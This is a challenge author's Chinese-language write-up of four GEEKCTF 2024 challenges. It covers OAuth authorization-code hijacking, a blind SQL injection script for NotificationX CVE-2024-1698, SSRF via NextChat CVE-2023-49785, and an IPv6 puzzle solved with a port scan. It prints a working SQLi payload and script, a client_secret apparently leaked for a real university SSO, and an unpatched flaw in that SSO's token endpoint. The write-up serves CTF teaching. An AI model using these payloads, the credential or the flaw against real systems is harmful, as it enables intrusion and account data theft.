很荣幸能为这次GEEKCTF 2024既SJTUCTF 2024出题。

这次我一共出了3道Web题:OAuth、SafeBlog1、Next GPT,1道Misc题:1fc7。出题的方向主要还是偏简单,希望更多人能做出来,虽然最终校内做出来的还是很少(或者说没人来做Web)。

OAuth

My notes management site is using OAuth authentication now, so I can open it to the Internet with peace of mind.


日志泄露

打开网页,主页有View Notes链接,点击后跳转到OAuth登录界面(Notes功能同样需要登录)。如果有SSO账号,登录后会提示不是管理员用户。

查看网页源代码,发现meta description和控制台中都提醒看网页head部分。

提示一是没有SSO账号也能完成此题。

提示二是html头部的sitemap.xml文件,打开后发现有code.php文件,直接访问提示需要code参数,随意填写code参数后提示log saved,之后提示登录失败。

此处log是粗体的,对应sitemap中最后一个链接的提示。

访问/log目录,能看到一条GET请求的日志,提示是记录了管理员的访问记录。

authorize_code劫持

由于带code参数访问code.php时,需要等待5秒后服务端才会跳转到oauth.php,并用这个authorize_code向OAuth服务器请求令牌,因此我们可以利用这5秒的时间差,在管理员之前先带管理员账号的code参数访问oauth.php。

(其实此OAuth服务器的授权码有效期为1分钟,且日志中的code并不会在5秒后被使用掉,因此我们只需在访问/log后一分钟内,请求code.php即可,或直接访问log中的路径也可)

使用管理员的code,登录进管理员的账号后,可以看到flag格式。但是flag需要获取管理员的SSO账号名称,但网站不显示。因此我们要考虑对管理员的授权码的进一步利用。

重新登录,发现OAuth登录时的authroize_url为https://jaccount.sjtu.edu.cn/oauth3/authorize?response_type=code&client_id=ZjpxY3dA6fpkp7o4kM0g&redirect_uri=http%3A%2F%2F{hostname}%2Fcode.php&scope=openid

回顾OAuth的登录流程,服务端要获得管理员的SSO账号名称,需要用用户的authorize_code和client_id、client_secret去请求token_url得到access_token。client_id在上述authroize_url中可以得到,但是client_secret仍然未知。

client_secret泄露

根据管理员账号登录后,有secret加了下划线的提示,此时我们可以考虑client_secret泄露。在github上搜索client_id的值,可以搜到young1881/SJTUer项目使用了此client_id,并泄露了对应client_secret。

得到authorize_code、client_id、client_secret后,我们就可以充当服务端,向OAuth服务器请求access_token来获取用户信息了。获取token的API和RFC 6749给出的示例一样,将authroize_url结尾的/authorize换成/token即可。

发送以下请求:

POST https://jaccount.sjtu.edu.cn/oauth3/token

grant_type=authorization_code&code=8edfcd24fd074f2faedbb0982fbe74bf&redirect_uri=http%3A%2F%2F{hostname}%2Fcode.php&client_id=ZjpxY3dA6fpkp7o4kM0g&client_secret=CE1FEABAD368510B161F8F0E582CBA6864EAF4137FC18079

其中grant_type=authorization_code是RFC 6749的规定。code是题目/log页面获取的管理员的授权码,redirect_uri需要和authorize_url中的redirect_uri一致,client_id和client_secret填写获取到的值即可。

获取到的回复格式如下:

{"access_token":"5f42337796b1b73e71ad9db0cfd82304","refresh_token":"4ad3742daf852219059b386b7c58eb8c","id_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJaanB4WTNkQTZmcGtwN280a00wZyIsImlzcyI6Imh0dHBzOi8vamFjY291bnQuc2p0dS5lZHUuY24vb2F1dGgyLyIsInN1YiI6Im5pY2RhdGEiLCJleHAiOjE3MTA0MzE5MTQsImlhdCI6MTcxMDQzMDExNCwibmFtZSI6Iue9kee7nOS_oeaBr-S4reW_gyIsImNvZGUiOiIiLCJ0eXBlIjoidGVhbSJ9.JpCbW0bP_V_7huFQ2jbOhSfD8nreGFKPBARrfTtbxlw","token_type":"Bearer","expires_in":1799}

其中id_token是题目使用的JAccount对OpenID Connect的支持,直接在此步骤返回了用户的信息。将此JWT解密后即可在sub字段中获得管理员的SSO用户名。再按照网站登录管理员账号后的flag提示进行哈希(sha1(sha256(nicdata)))即可获得flag。

{
  "aud": "ZjpxY3dA6fpkp7o4kM0g",
  "iss": "https://jaccount.sjtu.edu.cn/oauth2/",
  "sub": "nicdata",
  "exp": 1710431914,
  "iat": 1710430114,
  "name": "网络信息中心",
  "code": "",
  "type": "team"
}

另一种方法是继续走标准的OIDC流程。将上一步获取到的access_token用于访问用户信息API。这种解法就需要查阅开发文档了。在搜索引擎搜索authorize_url、token_url或者logout_url的值都可以搜到该SSO的开发文档。其中提供了获取用户信息API的访问示例。

发送以下请求:

GET https://api.sjtu.edu.cn/v1/me/profile?access_token=5f42337796b1b73e71ad9db0cfd82304

或者

POST https://api.sjtu.edu.cn/v1/me/profile
Authorization: Bearer 5f42337796b1b73e71ad9db0cfd82304

其中access_token或者Authorization: Bearer填写的是获取到的access_token。

获取到的回复格式如下:

{"errno":0,"error":"success","total":0,"entities":[{"account":"nicdata","name":"网络信息中心","kind":"canvas.profile","timeZone":0}]}

其中account字段就是管理员的SSO用户名。

非预期解

在用authorize_code向https://jaccount.sjtu.edu.cn/oauth2/token请求access_token时,服务器仅校验了redirect_uri需要和authorize_url中的redirect_uri一致,但并没有校验此时的client_id是否和请求authorize_code时的client_id一致,这使得使用任意一组拥有openid权限的有效client_id、client_secret,同样可以使用authorize_code请求得到access_token,而并不一定要获得题目系统使用的client_secret。

你可以通过在Github上查找其他泄露的client_id和client_secret(已知至少有一个),或是使用自己通过合法渠道获取的JAccount系统的client_id和client_secret,并用/log泄露的authorize_code来完成此题的后半部分,获取管理员的SSO用户名。

这属于该认证系统的一个0day问题。此漏洞属于设计缺陷,但因为应用系统会在请求access_token时带上正确的redirect_uri才能获取到access_token,所以仅会影响到泄露了authorize_code的特定应用,或是攻击者利用其他泄露的client_secret请求access_token获取其他信息,而无法使用此authorize_code登录任意应用。

SafeBlog1

Just finished setting up my blog. Oops there’s a deadline tonight, moving on to my assignments now.


打开网站是Wordpress安装后的默认主题和页面。

左下角有个通知提醒,显示用了NotificationX插件。

搜索相关漏洞,找到CVE-2024-1698,复现漏洞进行SQL盲注即可。

curl "http://chall.geekctf.geekcon.top:40523/index.php?rest_route=%2Fnotificationx%2Fv1%2Fanalytics" 'nx_id=1337&type=clicks`=IF(SUBSTRING(version(),1,1)=5,SLEEP(10),null)-- -'

要注意由于没有开启改写URL,需要搜索/抓包确认api的路径,而不是直接用网上的payload。

以下是供参考的poc脚本,三个payload分别是获取当前数据库的表名列表(并找到其中的fl6g表)、获取fl6g表的列名列表(只有一列nam3)、获取fl6g表nam3列的内容。

import requests
import string

delay = 5
url = "http://chall.geekctf.geekcon.top:40523/index.php?rest_route=%2Fnotificationx%2Fv1%2Fanalytics"

ans = ""
table_name = "" #fl6g
column_name = "" #nam3
session = requests.Session()

for idx in range(1,1000):
    low = 32
    high = 128
    mid = (low+high)//2
    while low < high:
        payload1 = f"clicks`=IF(ASCII(SUBSTRING((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{idx},1))<{mid},SLEEP({delay}),null)-- -"
        payload2 = f"clicks`=IF(ASCII(SUBSTRING((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x{bytes(table_name,'UTF-8').hex()})),{idx},1))<{mid},SLEEP({delay}),null)-- -"
        payload3 = f"clicks`=IF(ASCII(SUBSTRING((select(group_concat({column_name}))from({table_name})),{idx},1))<{mid},SLEEP({delay}),null)-- -"
        resp = session.post(url=url, data = {
                "nx_id": 1337,
                "type": payload1 # switch payload
            })
        if resp.elapsed.total_seconds() > delay:
            high = mid
        else:
            low = mid+1
        mid=(low+high)//2
    if mid <= 32 or mid >= 127:
        break
    ans += chr(mid-1)
    print(ans)

本题定位是简单级别的题目,因此使用了获取表名、列名、字段的入门级盲注路径。有一些选手试图爆破管理员用户的密码hash,不过由于本题不是动态容器题,为了防止选手对数据库进行修改,除了漏洞所在的wp_nx_stats之外(漏洞使用了INSERT和UPDATE语句),其他的数据表只保留了SELECT权限,这种情况下即使拿到了管理员密码也无法登录进Wordpress后台。

另外,由于Wordpress的奇妙机制,如果有多个线程同时对本题漏洞点进行时间盲注,会导致sleep延迟的叠加,导致结果不准确。很抱歉验题的时候没有发现这个问题,只能做题的时候找个没人的时间了)

Next GPT

They say CTF held after year 3202 must contain a challenge of GPT.
Access Code: 20244202


打开网页,输入访问密码,进入界面。

搜索NextChat的漏洞,发现CVE-2023-49785,影响版本≤v2.11.2,题目版本正好是2.11.2,可直接利用。

尝试和GPT对话,发现回复是几个固定的文本。有一定概率获得提示:“I did tell GPT the flag, but I made an IP control of this api, so I’m the only person that can request it locally.”

尝试询问flag,提示“I’m sorry, I cannot assist with this request.”

可知需要用本地IP地址访问接口。使用CVE-2023-49785的SSRF漏洞即可。

尝试询问flag,并抓包将和GPT对话时请求的/api/openai/v1/chat/completions接口请求改为/api/cors/http/localhost/api/openai/v1/chat/completions,利用SSRF漏洞通过本地IP连接,即可得到flag。

本题并没有使用LLM,而是模拟了一个completions接口,从其提示中也可以看出来:

作者希望选手能从大量包含GPT的CTF题目中解放思维,于是用一道Web题提醒选手GPT题目不一定是Misc,本身还可能是Web题。

另外由于NextChat只在文档中写明了使用docker的部署方法,因此实际上需要通过SSRF访问的是本地的3000端口。题目通过判定/api/cors/http/接口,使得localhost:3000和localhost的形式都可以获取到flag。

1fc7

Imagine that the Internet is a complex plane, and every IP address is a point on the plane.

Given my coordinates (1.4588509144602441503773978e-125, i*7.0641610097882145623171291e-304), can you locate my address?


对题目名称中的1fc7进行转换,int('1fc7',16)得到8135。

搜索“8135 complex”就可以找到RFC 8135,一个RFC发布的愚人节文档。

第7节介绍了如何用IPv6格式来表示一个复平面坐标,那么反过来用复平面坐标可以得到一个IPv6地址。

将题目给的坐标进行转换:

1.4588509144602441503773978e-125 转换为16进制就是 2603C023C0004D13
7.0641610097882145623171291e-304 转换为16进制就是 00FF00FF00090008

拼合得到IPv6地址2603:c023:c000:4d13:ff:ff:9:8。有很多选手不确定两个坐标的先后顺序,但根据常识2024年开放使用的互联网IPv6段只有2000::/3,因此很容易确定两段的先后顺序。

访问 http://[2603:c023:c000:4d13:ff:ff:9:8],提示flag不在此端口。

对此IPv6进行端口扫描:nmap -6 -sS -P 1-65535 2603:c023:c000:4d13:ff:ff:9:8,或者随意猜测一下,可发现8135端口开放。

访问http://[2603:c023:c000:4d13:ff:ff:9:8]:8135,即可获得flag。

有不少选手直接将IPv6地址(正确的和错误的)交做flag,但IPv6光正常表示方法就有好多种,为什么不访问试试呢(

2 对 “GEEKCTF 2024部分Writeup”的想法;

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注